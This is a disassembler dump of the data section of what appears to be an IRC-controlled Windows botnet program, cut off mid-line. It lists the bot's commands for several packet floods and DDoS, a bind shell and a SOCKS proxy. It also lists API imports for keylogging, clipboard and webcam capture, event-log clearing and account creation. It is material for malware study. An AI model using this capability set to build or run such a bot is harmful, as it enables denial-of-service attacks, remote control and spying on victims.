DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42CB44 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42CB54 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42CB64 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42CB74 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42CB84 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42CB90 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42CB9C dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42CBA8 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 10h dword_42CBC0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42CBCC dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42CBE4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42CBF4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 10h dword_42CC10 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42CC20 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42CC3C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42CC48 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42CC5C dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42CC68 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42CC74 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42CC80 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42CC90 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 10h dword_42CCB0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42CCBC dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42CCD0 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42CCEC dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42CD08 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 10h dword_42CD30 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 10h aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 10h aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 10h aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:004382DCo ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42CDDC: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42CE20 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CE84 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42CEBC db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42CEE4 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CF28 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CF64 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42CF7C dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42CF84 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42CFA0 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42CFAC dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42CFB0 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42CFEC dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42CFF4 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42D008 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42D02C db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42D080 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42D0EC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42D0F0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42D0F4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D9F4 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 10h a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42DB84 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42DBB4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42DBE4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42DC08 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o aReal db 'real',0 align 4 dd 0 dword_42DC4C dd 0 ; DATA XREF: sub_40B08D+7o off_42DC50 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42DCB8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42DCC4 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd 